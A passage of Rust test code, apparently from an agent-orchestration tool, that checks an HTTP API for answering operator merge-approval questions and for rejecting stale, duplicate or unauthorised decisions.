11765        let mut q = Question::new(
11766            state.id.clone(),
11767            crate::land::APPROVAL_NODE.into(),
11768            "land".into(),
11769            "Superseded PR approval".into(),
11770            "Original review evidence".into(),
11771            vec!["merge".into(), "hold".into()],
11772        );
11773        state.land_approval = Some(crate::run::LandApproval {
11774            question: q.id.clone(),
11775            head: "old-reviewed-head".into(),
11776        });
11777        // The old persisted PR may still say open even when a separate change
11778        // already landed. Dismissal must not use that snapshot to close it.
11779        state.save_under(fx.home.path()).unwrap();
11780        let stale_driver = state.clone();
11781        fx.questions().put(&mut q).unwrap();
11782        let path = fx
11783            .home
11784            .path()
11785            .join("questions")
11786            .join(format!("{}.json", q.id));
11787        let mut legacy = serde_json::to_value(&q).unwrap();
11788        legacy["schema"] = 9.into();
11789        legacy.as_object_mut().unwrap().remove("merge_target");
11790        std::fs::write(&path, serde_json::to_vec(&legacy).unwrap()).unwrap();
11791
11792        // POST without GET tests legacy upgrade and validation at the actual
11793        // entry point, rather than constructing a modern card in the test.
11794        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11795        let answer_path = format!("/api/questions/{}/answer", q.id);
11796        let res = fx.post(&answer_path, Some(&body)).await;
11797        assert_eq!(res.status, 200, "{}", res.body);
11798        let disk = fx.questions().get(&q.id).unwrap();
11799        assert_eq!(
11800            disk.resolution().as_deref(),
11801            Some(crate::merge_decision::DISMISS)
11802        );
11803        assert!(disk.detail.starts_with("Original review evidence"));
11804        let retired = RunState::load_under(&state.id, fx.home.path()).unwrap();
11805        assert_eq!(retired.status, RunStatus::Superseded);
11806        assert_eq!(
11807            serde_json::to_value(&retired.pr).unwrap(),
11808            serde_json::to_value(&state.pr).unwrap()
11809        );
11810        assert!(!retired.merge_decision.as_ref().unwrap().closed);
11811        assert!(!crate::merge_decision::resumable_hold(&retired));
11812        assert!(fx.queue().list().is_empty());
11813        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11814        // A restarted server re-reads the persisted pending list.
11815        let addr = Fixture::serve(
11816            fx.home.path(),
11817            PathBuf::from("/repo/magi"),
11818            launch_idle,
11819            None,
11820        )
11821        .await;
11822        let reconnected = Fixture {
11823            home: fx.home,
11824            addr,
11825        };
11826        let listed = reconnected.get("/api/questions").await.json();
11827        assert!(
11828            listed
11829                .as_array()
11830                .unwrap()
11831                .iter()
11832                .all(|q| q["status"] != "open")
11833        );
11834        assert_eq!(listed[0]["id"], q.id, "history remains available");
11835        assert_eq!(
11836            reconnected.get("/api/health").await.json()["questions_open"],
11837            0
11838        );
11839        assert_eq!(
11840            reconnected
11841                .post(&answer_path, Some(r#"{"choice":"merge"}"#))
11842                .await
11843                .status,
11844            409
11845        );
11846        // A late waiter cannot turn the old answer into a new decision.
11847        assert!(
11848            reconnected
11849                .questions()
11850                .update(&q.id, |q| q.answer(Answer::Choice("hold".into())))
11851                .is_err()
11852        );
11853        // The same guard used by claims, repair and publication rejects a
11854        // saved in-memory driver as well as the persisted terminal record.
11855        assert!(crate::pr_head::ensure_owner_record(&stale_driver, Some(&retired)).is_err());
11856    }
11857
11858    #[tokio::test]
11859    async fn obsolete_approval_dismissal_respects_claims_and_later_attempts() {
11860        let fx = Fixture::start().await;
11861        let mut state = obsolete_approval_state();
11862        state.status = RunStatus::Landing;
11863        state.driver_exited = true;
11864        let mut q = Question::new(
11865            state.id.clone(),
11866            crate::land::APPROVAL_NODE.into(),
11867            "land".into(),
11868            "Obsolete approval".into(),
11869            String::new(),
11870            vec!["merge".into(), "hold".into()],
11871        );
11872        state.land_approval = Some(crate::run::LandApproval {
11873            question: q.id.clone(),
11874            head: "head".into(),
11875        });
11876        state.save_under(fx.home.path()).unwrap();
11877        fx.questions().put(&mut q).unwrap();
11878        let mut task = Task::new(
11879            "Owner".into(),
11880            "Original instruction".into(),
11881            state.repo.clone(),
11882            Source::Human,
11883        );
11884        task.runs = vec![state.id.clone(), "later-run".into()];
11885        fx.queue().put(&mut task).unwrap();
11886        let before = std::fs::read(fx.queue().path_of(&task.id)).unwrap();
11887        let claim = fx.queue().claim(&task.id).unwrap();
11888        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11889        let path = format!("/api/questions/{}/answer", q.id);
11890        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11891        assert!(fx.questions().get(&q.id).unwrap().status.open());
11892        drop(claim);
11893        let publication = crate::pr_head::owner_lock(fx.home.path(), &state.id).unwrap();
11894        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11895        assert!(fx.questions().get(&q.id).unwrap().status.open());
11896        drop(publication);
11897        // Unknown liveness and armed auto-merge both fail without settling.
11898        state.driver_exited = false;
11899        state.driver_pid = None;
11900        state.save_under(fx.home.path()).unwrap();
11901        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11902        state.driver_exited = true;
11903        state.land_armed_head = Some("head".into());
11904        state.save_under(fx.home.path()).unwrap();
11905        assert_eq!(fx.post(&path, Some(&body)).await.status, 400);
11906        state.land_armed_head = None;
11907        state.save_under(fx.home.path()).unwrap();
11908        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11909        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11910        assert_eq!(std::fs::read(fx.queue().path_of(&task.id)).unwrap(), before);
11911    }
11912
11913    #[tokio::test]
11914    async fn obsolete_approval_dismissal_retries_partial_writes_and_finishes_only_current_owner() {
11915        let fx = Fixture::start().await;
11916        let mut state = obsolete_approval_state();
11917        state.status = RunStatus::Landing;
11918        state.driver_exited = true;
11919        let mut q = Question::new(
11920            state.id.clone(),
11921            crate::land::APPROVAL_NODE.into(),
11922            "land".into(),
11923            "Obsolete approval".into(),
11924            String::new(),
11925            vec!["merge".into(), "hold".into()],
11926        );
11927        state.land_approval = Some(crate::run::LandApproval {
11928            question: q.id.clone(),
11929            head: "head".into(),
11930        });
11931        state.save_under(fx.home.path()).unwrap();
11932        fx.questions().put(&mut q).unwrap();
11933        let mut task = Task::new(
11934            "Owner".into(),
11935            "Original instruction".into(),
11936            state.repo.clone(),
11937            Source::Human,
11938        );
11939        task.runs.push(state.id.clone());
11940        task.status = TaskStatus::Parked;
11941        fx.queue().put(&mut task).unwrap();
11942        // Model a crash after the run stop was persisted but before the queue
11943        // and answered question were flushed. Retrying must finish, not resume.
11944        state.merge_decision = Some(crate::merge_decision::Decision {
11945            question: q.id.clone(),
11946            target: crate::merge_decision::Target {
11947                pr: state.pr.as_ref().unwrap().url.clone(),
11948                head: "head".into(),
11949                language: "ja".into(),
11950            },
11951            choice: crate::merge_decision::DISMISS.into(),
11952            closed: false,
11953            replacement_run: None,
11954            replacement_pr: None,
11955        });
11956        state.status = RunStatus::Superseded;
11957        state.save_under(fx.home.path()).unwrap();
11958        let body = serde_json::json!({"choice": crate::merge_decision::DISMISS}).to_string();
11959        let path = format!("/api/questions/{}/answer", q.id);
11960        assert_eq!(fx.post(&path, Some(&body)).await.status, 200);
11961        let done = fx.queue().get(&task.id).unwrap();
11962        assert_eq!(done.status, TaskStatus::Done);
11963        assert_eq!(done.runs, task.runs);
11964        assert_eq!(done.instruction, task.instruction);
11965        assert!(done.action_applied(&q.id));
11966        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
11967        assert_eq!(fx.queue().get(&task.id).unwrap().status, TaskStatus::Done);
11968        assert!(!fx.questions().get(&q.id).unwrap().status.open());
11969    }
11970
11971    #[tokio::test]
11972    async fn task_chat_merge_accepts_direct_decisions_and_checks_optional_buttons() {
11973        let home = TempDir::new().unwrap();
11974        let ui = Arc::new(Ui::new(
11975            Queue::at(home.path().join("queue")),
11976            Questions::at(home.path().join("questions")),
11977            Talks::at(home.path().join("talks")),
11978            home.path().join("runs"),
11979            home.path().to_owned(),
11980            home.path().to_owned(),
11981        ));
11982        let talks = &ui.talks;
11983        let chat =
11984            talk::begin(talks, &stub_config(), home.path().to_owned(), Some("stub")).unwrap();
11985        let mut q = Question::new(
11986            "run".into(),
11987            crate::land::APPROVAL_NODE.into(),
11988            "land".into(),
11989            "Merge?".into(),
11990            String::new(),
11991            vec!["merge".into(), "hold".into()],
11992        );
11993        q.routed_task = Some("task".into());
11994        q.routed_chat = Some(chat.id.clone());
11995        q.merge_target = Some(crate::merge_decision::Target {
11996            pr: "https://example.test/pull/1".into(),
11997            head: "head-a".into(),
11998            language: "en".into(),
11999        });
12000        ui.questions.put(&mut q).unwrap();
12001        let send = |body| {
12002            question_answer(
12003                State(ui.clone()),
12004                Path(q.id.clone()),
12005                Ok(Json(serde_json::from_value::<NewAnswer>(body).unwrap())),
12006            )
12007        };
12008        let button = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"head-a"});
12009        assert!(send(serde_json::json!({"text":"merge"})).await.is_err());
12010        let wrong_chat = serde_json::json!({"choice":"merge", "talk":"other", "head":"head-a"});
12011        assert!(send(wrong_chat).await.is_err());
12012        let stale = serde_json::json!({"choice":"merge", "talk":chat.id, "head":"old-head"});
12013        assert!(send(stale).await.is_err());
12014        assert!(ui.questions.get(&q.id).unwrap().status.open());
12015        assert!(send(button.clone()).await.is_ok());
12016        assert_eq!(
12017            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12018            Some("merge")
12019        );
12020        assert!(send(button).await.is_err());
12021    }
12022
12023    #[tokio::test]
12024    async fn routed_approvals_accept_merge_and_hold_without_chat_buttons() {
12025        let home = TempDir::new().unwrap();
12026        let ui = Arc::new(Ui::new(
12027            Queue::at(home.path().join("queue")),
12028            Questions::at(home.path().join("questions")),
12029            Talks::at(home.path().join("talks")),
12030            home.path().join("runs"),
12031            home.path().to_owned(),
12032            home.path().to_owned(),
12033        ));
12034        for choice in [crate::land::APPROVE, crate::land::HOLD] {
12035            let mut q = Question::new(
12036                "run".into(),
12037                crate::land::APPROVAL_NODE.into(),
12038                "land".into(),
12039                "Merge?".into(),
12040                String::new(),
12041                vec!["merge".into(), choice.into()],
12042            );
12043            q.routed_task = Some("task".into());
12044            q.merge_target = Some(crate::merge_decision::Target {
12045                pr: "https://example.test/pull/1".into(),
12046                head: "head-a".into(),
12047                language: "en".into(),
12048            });
12049            ui.questions.put(&mut q).unwrap();
12050            let answer = |c: &str| {
12051                question_answer(
12052                    State(ui.clone()),
12053                    Path(q.id.clone()),
12054                    Ok(Json(
12055                        serde_json::from_value::<NewAnswer>(serde_json::json!({ "choice": c }))
12056                            .unwrap(),
12057                    )),
12058                )
12059            };
12060            let _ = answer(choice).await.unwrap();
12061            assert_eq!(
12062                ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12063                Some(choice)
12064            );
12065        }
12066    }
12067
12068    #[tokio::test]
12069    async fn a_routed_decision_is_refused_on_the_question_route() {
12070        let home = TempDir::new().unwrap();
12071        let ui = Arc::new(Ui::new(
12072            Queue::at(home.path().join("queue")),
12073            Questions::at(home.path().join("questions")),
12074            Talks::at(home.path().join("talks")),
12075            home.path().join("runs"),
12076            home.path().to_owned(),
12077            home.path().to_owned(),
12078        ));
12079        let mut q = Question::new(
12080            "run".into(),
12081            crate::github_text::ASK_NODE.into(),
12082            "posting-gate".into(),
12083            "Post?".into(),
12084            String::new(),
12085            vec!["use fallback".into()],
12086        );
12087        q.routed_task = Some("task".into());
12088        ui.questions.put(&mut q).unwrap();
12089        let sent = question_answer(
12090            State(ui.clone()),
12091            Path(q.id.clone()),
12092            Ok(Json(
12093                serde_json::from_value::<NewAnswer>(serde_json::json!({"choice":"use fallback"}))
12094                    .unwrap(),
12095            )),
12096        )
12097        .await;
12098        assert!(sent.is_err());
12099        assert!(ui.questions.get(&q.id).unwrap().status.open());
12100    }
12101
12102    #[tokio::test]
12103    async fn merge_decision_api_persists_exact_target_and_selected_action() {
12104        let fx = Fixture {
12105            home: TempDir::new().unwrap(),
12106            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12107        };
12108        for choice in [
12109            crate::land::HOLD,
12110            crate::land::REPAIR,
12111            crate::land::APPROVE,
12112            crate::merge_decision::WITHDRAW,
12113            "reimplement:beta",
12114        ] {
12115            let mut q = Question::new(
12116                "old-run".into(),
12117                crate::land::APPROVAL_NODE.into(),
12118                "land".into(),
12119                "Decision".into(),
12120                "Review findings".into(),
12121                vec![
12122                    "merge".into(),
12123                    "hold".into(),
12124                    crate::land::REPAIR.into(),
12125                    crate::merge_decision::WITHDRAW.into(),
12126                    "reimplement:beta".into(),
12127                ],
12128            );
12129            q.merge_target = Some(crate::merge_decision::Target {
12130                pr: "https://github.com/example/repo/pull/42".into(),
12131                head: "exact-reviewed-head".into(),
12132                language: "ja".into(),
12133            });
12134            q.consult = Some(ask::ChatConsult {
12135                talk: "another-conversation".into(),
12136                at: jiff::Timestamp::now(),
12137            });
12138            fx.questions().put(&mut q).unwrap();
12139            let ui = Arc::new(Ui::new(
12140                fx.queue(),
12141                fx.questions(),
12142                fx.talks(),
12143                fx.runs(),
12144                fx.home.path().into(),
12145                std::path::PathBuf::from("."),
12146            ));
12147            let response = question_answer(
12148                State(ui.clone()),
12149                Path(q.id.clone()),
12150                Ok(Json(NewAnswer {
12151                    choice: Some(choice.into()),
12152                    text: None,
12153                    ..Default::default()
12154                })),
12155            )
12156            .await
12157            .unwrap();
12158            assert_eq!(response.0.question.resolution().as_deref(), Some(choice));
12159            let disk = fx.questions().get(&q.id).unwrap();
12160            assert_eq!(disk.merge_target, q.merge_target);
12161            assert_eq!(disk.consult, q.consult);
12162            assert!(
12163                disk.answer_authority.is_none(),
12164                "a direct owner card is its own decision"
12165            );
12166            assert_eq!(disk.resolution().as_deref(), Some(choice));
12167            assert!(
12168                question_answer(
12169                    State(ui),
12170                    Path(q.id.clone()),
12171                    Ok(Json(NewAnswer {
12172                        choice: Some("merge".into()),
12173                        text: None,
12174                        ..Default::default()
12175                    }))
12176                )
12177                .await
12178                .is_err(),
12179                "an already settled decision cannot turn into merge approval"
12180            );
12181        }
12182    }
12183
12184    #[tokio::test]
12185    async fn legacy_merge_repair_api_resumes_the_parked_owner_once() {
12186        let fx = Fixture {
12187            home: TempDir::new().unwrap(),
12188            addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
12189        };
12190        let mut state = crate::land::tests::repair_state(true, true);
12191        state.status = RunStatus::Landing;
12192        state.parked = true;
12193        state.driver_exited = true;
12194        let mut task = Task::new(
12195            "Existing PR owner".into(),
12196            state.instruction.clone(),
12197            state.repo.clone(),
12198            Source::Human,
12199        );
12200        task.runs.push(state.id.clone());
12201        task.status = TaskStatus::Parked;
12202        fx.queue().put(&mut task).unwrap();
12203        let mut q = Question::new(
12204            state.id.clone(),
12205            crate::land::APPROVAL_NODE.into(),
12206            "land".into(),
12207            "Contested merge".into(),
12208            "Original evidence".into(),
12209            vec!["merge".into(), "hold".into()],
12210        );
12211        state.land_approval = Some(crate::run::LandApproval {
12212            question: q.id.clone(),
12213            head: "reviewed-head".into(),
12214        });
12215        state.save_under(fx.home.path()).unwrap();
12216        fx.questions().put(&mut q).unwrap();
12217        // A later repair answer on this old card supersedes this manual hold.
12218        task.hold_manual(Some("Pause this PR".into()));
12219        fx.queue().put(&mut task).unwrap();
12220        // POST directly, without a preceding GET: validation must see the
12221        // same durable upgrade that the card, CLI and chat see.
12222        let ui = Arc::new(Ui::new(
12223            fx.queue(),
12224            fx.questions(),
12225            fx.talks(),
12226            fx.runs(),
12227            fx.home.path().to_path_buf(),
12228            state.repo.clone(),
12229        ));
12230        let response = question_answer(
12231            State(ui),
12232            Path(q.id.clone()),
12233            Ok(Json(NewAnswer {
12234                choice: Some(crate::land::REPAIR.into()),
12235                text: None,
12236                ..Default::default()
12237            })),
12238        )
12239        .await
12240        .unwrap();
12241        assert_eq!(response.0.question.id, q.id);
12242        let upgraded = fx.questions().get(&q.id).unwrap();
12243        assert_eq!(upgraded.choices, crate::land::approval_choices(&state));
12244        assert!(upgraded.detail.starts_with("Original evidence"));
12245        let claim = fx.queue().claim(&task.id).unwrap();
12246        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12247        assert!(
12248            fx.queue().get(&task.id).unwrap().resume_override.is_none(),
12249            "an existing driver keeps its claim"
12250        );
12251        drop(claim);
12252        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12253        let resumed = fx.queue().get(&task.id).unwrap();
12254        assert_eq!(
12255            resumed
12256                .resume_override
12257                .as_ref()
12258                .unwrap()
12259                .pinned_run
12260                .as_deref(),
12261            Some(state.id.as_str())
12262        );
12263        assert!(resumed.status.runnable());
12264        assert_eq!(resumed.instruction, task.instruction);
12265        assert_eq!(resumed.runs, task.runs);
12266        assert!(resumed.action_applied(&q.id));
12267        crate::daemon::apply_task_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
12268        assert_eq!(fx.queue().list().len(), 1);
12269        assert_eq!(
12270            fx.queue().get(&task.id).unwrap().resume_override,
12271            resumed.resume_override
12272        );
12273        let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
12274        assert!(
12275            disk.merge_repairs.is_empty(),
12276            "only the claimed run driver may execute repair"
12277        );
12278        assert_eq!(disk.land_approval.unwrap().head, "reviewed-head");
12279    }
12280
12281    #[tokio::test]
12282    async fn answering_records_the_choice_and_a_second_answer_conflicts() {
12283        let fx = Fixture::start().await;
12284        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12285        let path = format!("/api/questions/{id}/answer");
12286
12287        let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
12288        assert_eq!(res.status, 200, "{}", res.body);
12289        let body = res.json();
12290        assert_eq!(body["status"], "answered");
12291        assert_eq!(body["answer"]["choice"], "Redis");
12292
12293        // Answered from the terminal in between the list and the tap: the UI
12294        // must be able to tell this from a bad request, so it can show the
12295        // recorded answer instead of an error.
12296        let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
12297        assert_eq!(again.status, 409, "{}", again.body);
12298        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
12299    }
12300
12301    #[tokio::test]
12302    async fn question_text_handler_uses_running_capabilities_and_preserves_text_answers() {
12303        let home = tempfile::tempdir().unwrap();
12304        let ui = delta_test_ui(home.path());
12305        let mut q = Question::new(
12306            "task".into(),
12307            crate::land::APPROVAL_NODE.into(),
12308            "land".into(),
12309            "Explain?".into(),
12310            String::new(),
12311            vec!["hold".into()],
12312        );
12313        q.deputy = Some(ask::Deputy::new("context".into()));
12314        ui.questions.put(&mut q).unwrap();
12315        let mut cfg = stub_config();
12316        cfg.daemon.max_deputies = 0;
12317        let mut status = crate::daemon::Status::new();
12318        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12319        crate::daemon::write_status_to(&home.path().join("daemon.json"), &status).unwrap();
12320        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12321        let error = question_say(
12322            State(ui.clone()),
12323            Path(q.id.clone()),
12324            Ok(Json(NewSay {
12325                body: "Explain the findings".into(),
12326            })),
12327        )
12328        .await
12329        .unwrap_err();
12330        assert_eq!(
12331            error.text_reason,
12332            Some(crate::question_delivery::UnavailableReason::DeputyDisabled)
12333        );
12334        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12335
12336        let mut text = Question::new(
12337            "task".into(),
12338            "ask".into(),
12339            "operator".into(),
12340            "Which name?".into(),
12341            String::new(),
12342            vec![],
12343        );
12344        ui.questions.put(&mut text).unwrap();
12345        let Json(view) = question_answer(
12346            State(ui.clone()),
12347            Path(text.id.clone()),
12348            Ok(Json(NewAnswer {
12349                choice: None,
12350                text: Some("chosen name".into()),
12351                ..Default::default()
12352            })),
12353        )
12354        .await
12355        .unwrap();
12356        assert_eq!(view.question.resolution().as_deref(), Some("chosen name"));
12357        assert!(!ui.questions.get(&text.id).unwrap().status.open());
12358    }
12359
12360    #[tokio::test]
12361    async fn question_text_handler_admission_without_transport() {
12362        let home = tempfile::tempdir().unwrap();
12363        let ui = delta_test_ui(home.path());
12364        let mut q = Question::new(
12365            "task".into(),
12366            crate::land::APPROVAL_NODE.into(),
12367            "land".into(),
12368            "May this PR merge?".into(),
12369            String::new(),
12370            vec!["hold".into()],
12371        );
12372        q.deputy = Some(ask::Deputy::new("reviewed head".into()));
12373        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12374        ui.questions.put(&mut q).unwrap();
12375        let say = || {
12376            Ok(Json(NewSay {
12377                body: "Explain the findings".into(),
12378            }))
12379        };
12380        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12381            .await
12382            .unwrap_err();
12383        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12384        let response = rejected.into_response();
12385        let body = axum::body::to_bytes(response.into_body(), usize::MAX)
12386            .await
12387            .unwrap();
12388        let body: serde_json::Value = serde_json::from_slice(&body).unwrap();
12389        assert_eq!(body["code"], "question_text_unavailable");
12390        assert_eq!(body["reason"], "deputy_exhausted");
12391        assert!(body["error"].as_str().unwrap().contains("deputy_exhausted"));
12392        assert!(ui.questions.get(&q.id).unwrap().thread.is_empty());
12393        ui.questions.beat(&q.id, ask::WaiterKind::Deputy);
12394        let Json(view) = question_say(State(ui.clone()), Path(q.id.clone()), say())
12395            .await
12396            .unwrap();
12397        assert_eq!(view.text_delivery.state, "live");
12398        assert!(view.question.waiter.is_none());
12399        assert!(view.question.cwd.is_none());
12400        let before = std::fs::read(ui.questions.path_of(&q.id)).unwrap();
12401        ui.questions.drop_lease(&q.id);
12402        let rejected = question_say(State(ui.clone()), Path(q.id.clone()), say())
12403            .await
12404            .unwrap_err();
12405        assert_eq!(rejected.status, StatusCode::UNPROCESSABLE_ENTITY);
12406        assert_eq!(std::fs::read(ui.questions.path_of(&q.id)).unwrap(), before);
12407        let _ = question_answer(
12408            State(ui.clone()),
12409            Path(q.id.clone()),
12410            Ok(Json(NewAnswer {
12411                choice: Some("hold".into()),
12412                text: None,
12413                ..Default::default()
12414            })),
12415        )
12416        .await
12417        .unwrap();
12418        assert_eq!(
12419            ui.questions.get(&q.id).unwrap().resolution().as_deref(),
12420            Some("hold")
12421        );
12422    }
12423
12424    #[tokio::test]
12425    async fn question_text_delivery_rechecks_after_render_and_keeps_choices_usable() {
12426        let fx = Fixture::start().await;
12427        let store = fx.questions();
12428        let id = ask(&fx, "May this PR merge?", &["merge", "hold"]);
12429        store
12430            .update(&id, |q| {
12431                q.node = crate::land::APPROVAL_NODE.to_owned();
12432                q.deputy = Some(ask::Deputy::new("approval".to_owned()));
12433                q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
12434                Ok(())
12435            })
12436            .unwrap();
12437        let path = format!("/api/questions/{id}/say");
12438        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12439        assert_eq!(refused.status, 422, "{}", refused.body);
12440        assert!(
12441            refused.json()["error"]
12442                .as_str()
12443                .unwrap()
12444                .contains("deputy_exhausted")
12445        );
12446        assert!(store.get(&id).unwrap().thread.is_empty());
12447
12448        // A final live deputy is usable even with no ordinary waiter/cwd.
12449        store.beat(&id, ask::WaiterKind::Deputy);
12450        let view = fx.get("/api/questions").await.json();
12451        assert_eq!(view[0]["text_delivery"]["state"], "live");
12452        let accepted = fx
12453            .post(&path, Some(r#"{"body":"explain the findings"}"#))
12454            .await;
12455        assert_eq!(accepted.status, 200, "{}", accepted.body);
12456        let before = std::fs::read(store.path_of(&id)).unwrap();
12457
12458        // The recipient exits between rendering and sending. Rejection must
12459        // preserve previously accepted text, the answer and delivery cursor.
12460        store.drop_lease(&id);
12461        let refused = fx.post(&path, Some(r#"{"body":"close the PR"}"#)).await;
12462        assert_eq!(refused.status, 422, "{}", refused.body);
12463        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12464        let held = fx
12465            .post(
12466                &format!("/api/questions/{id}/answer"),
12467                Some(r#"{"choice":"hold"}"#),
12468            )
12469            .await;
12470        assert_eq!(held.status, 200, "{}", held.body);
12471        assert_eq!(store.get(&id).unwrap().thread.len(), 1);
12472    }
12473
12474    #[tokio::test]
12475    async fn question_text_delivery_uses_daemon_configuration_after_file_edit() {
12476        let repo = tempfile::tempdir().unwrap();
12477        let mut cfg = stub_config();
12478        cfg.daemon.max_deputies = 0;
12479        std::fs::write(
12480            repo.path().join("magi.toml"),
12481            toml::to_string(&cfg).unwrap(),
12482        )
12483        .unwrap();
12484        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
12485        let mut status = crate::daemon::Status::new();
12486        status.question_recovery = Some(crate::question_delivery::Recovery::new(Some(&cfg), 0));
12487        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &status).unwrap();
12488        let id = ask(&fx, "Explain?", &["hold"]);
12489        fx.questions()
12490            .update(&id, |q| {
12491                q.node = crate::land::APPROVAL_NODE.into();
12492                q.deputy = Some(ask::Deputy::new("context".into()));
12493                q.deputy.as_mut().unwrap().agent = "stub".into();
12494                Ok(())
12495            })
12496            .unwrap();
12497        cfg.daemon.max_deputies = 1;
12498        std::fs::write(
12499            repo.path().join("magi.toml"),
12500            toml::to_string(&cfg).unwrap(),
12501        )
12502        .unwrap();
12503        let view = fx.get("/api/questions").await.json();
12504        assert_eq!(view[0]["deputies_enabled"], true);
12505        assert_eq!(view[0]["text_delivery"]["reason"], "deputy_disabled");
12506        let before = std::fs::read(fx.questions().path_of(&id)).unwrap();
12507        let res = fx
12508            .post(
12509                &format!("/api/questions/{id}/say"),
12510                Some(r#"{"body":"Please explain"}"#),
12511            )
12512            .await;
12513        assert_eq!(res.status, 422, "{}", res.body);
12514        assert_eq!(std::fs::read(fx.questions().path_of(&id)).unwrap(), before);
12515    }
12516
12517    #[tokio::test]
12518    async fn question_text_delivery_preserves_text_decisions_without_a_recipient() {
12519        let fx = Fixture::start().await;
12520        let id = ask(&fx, "No seat", &[]);
12521        let store = fx.questions();
12522        let before = std::fs::read(store.path_of(&id)).unwrap();
12523        let res = fx
12524            .post(
12525                &format!("/api/questions/{id}/say"),
12526                Some(r#"{"body":"hello"}"#),
12527            )
12528            .await;
12529        assert_eq!(res.status, 422, "{}", res.body);
12530        assert_eq!(std::fs::read(store.path_of(&id)).unwrap(), before);
12531        let res = fx
12532            .post(
12533                &format!("/api/questions/{id}/answer"),
12534                Some(r#"{"text":"hello"}"#),
12535            )
12536            .await;
12537        assert_eq!(res.status, 200, "{}", res.body);
12538        assert_eq!(
12539            store.get(&id).unwrap().resolution().as_deref(),
12540            Some("hello")
12541        );
12542    }
12543
12544    #[tokio::test]
12545    async fn saying_something_appends_a_turn_without_answering() {
12546        let fx = Fixture::start().await;
12547        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12548        fx.questions().beat(&id, ask::WaiterKind::Asker);
12549        let path = format!("/api/questions/{id}/say");
12550
12551        let res = fx
12552            .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
12553            .await;
12554        assert_eq!(res.status, 200, "{}", res.body);
12555        let body = res.json();
12556        assert_eq!(body["status"], "open", "talking back is not a decision");
12557        assert_eq!(body["answer"], Value::Null);
12558        assert_eq!(body["thread"][0]["who"], "operator");
12559        assert_eq!(body["thread"][0]["body"], "why not Postgres?");
12560        assert_eq!(body["waiting_on_agent"], true);
12561        // Still open, still counted, still exactly one question.
12562        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
12563    }
12564
12565    #[tokio::test]
12566    async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
12567        let fx = Fixture::start().await;
12568        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12569
12570        let list = fx.get("/api/questions").await.json();
12571        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
12572
12573        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
12574        assert_eq!(res.status, 409, "{}", res.body);
12575        let q = fx.questions().get(&id).unwrap();
12576        assert!(q.status.open());
12577        assert!(q.consult.is_none());
12578    }
12579
12580    #[tokio::test]
12581    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
12582        let fx = Fixture::start().await;
12583        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
12584        let cfg = Config {
12585            agents: vec![crate::config::AgentSpec {
12586                id: "mock".to_owned(),
12587                kind: crate::config::AgentKind::Command,
12588                model: None,
12589                command: vec!["true".to_owned()],
12590                extra_args: Vec::new(),
12591                env: Default::default(),
12592                prompt_delivery: None,
12593                max_turn_secs: None,
12594            }],
12595            ..Config::default()
12596        };
12597        let talk = crate::talk::begin(
12598            &fx.talks(),
12599            &cfg,
12600            fx.home.path().to_path_buf(),
12601            Some("mock"),
12602        )
12603        .unwrap();
12604        let mut task = Task::new(
12605            "t".to_owned(),
12606            "Do it".to_owned(),
12607            PathBuf::from("/repo/magi"),
12608            Source::Agent {
12609                run: talk.id.clone(),
12610                node: crate::queue::CHAT_NODE.to_owned(),
12611            },
12612        );
12613        task.start("20260902-000000-beef".to_owned());
12614        fx.queue().put(&mut task).unwrap();
12615
12616        let list = fx.get("/api/questions").await.json();
12617        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12618        assert_eq!(
12619            list[0]["choices"],
12620            serde_json::json!(["SQLite", "Redis"]),
12621            "the hand-over is never a choice"
12622        );
12623        fx.questions()
12624            .update(&id, |q| {
12625                q.node = crate::land::APPROVAL_NODE.into();
12626                q.choices = vec!["merge".into(), "hold".into()];
12627                Ok(())
12628            })
12629            .unwrap();
12630        let list = fx.get("/api/questions").await.json();
12631        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
12632        assert_eq!(list[0]["can_consult_chat"], true);
12633        fx.questions()
12634            .update(&id, |q| {
12635                q.node = crate::bump::NOTICE_NODE.into();
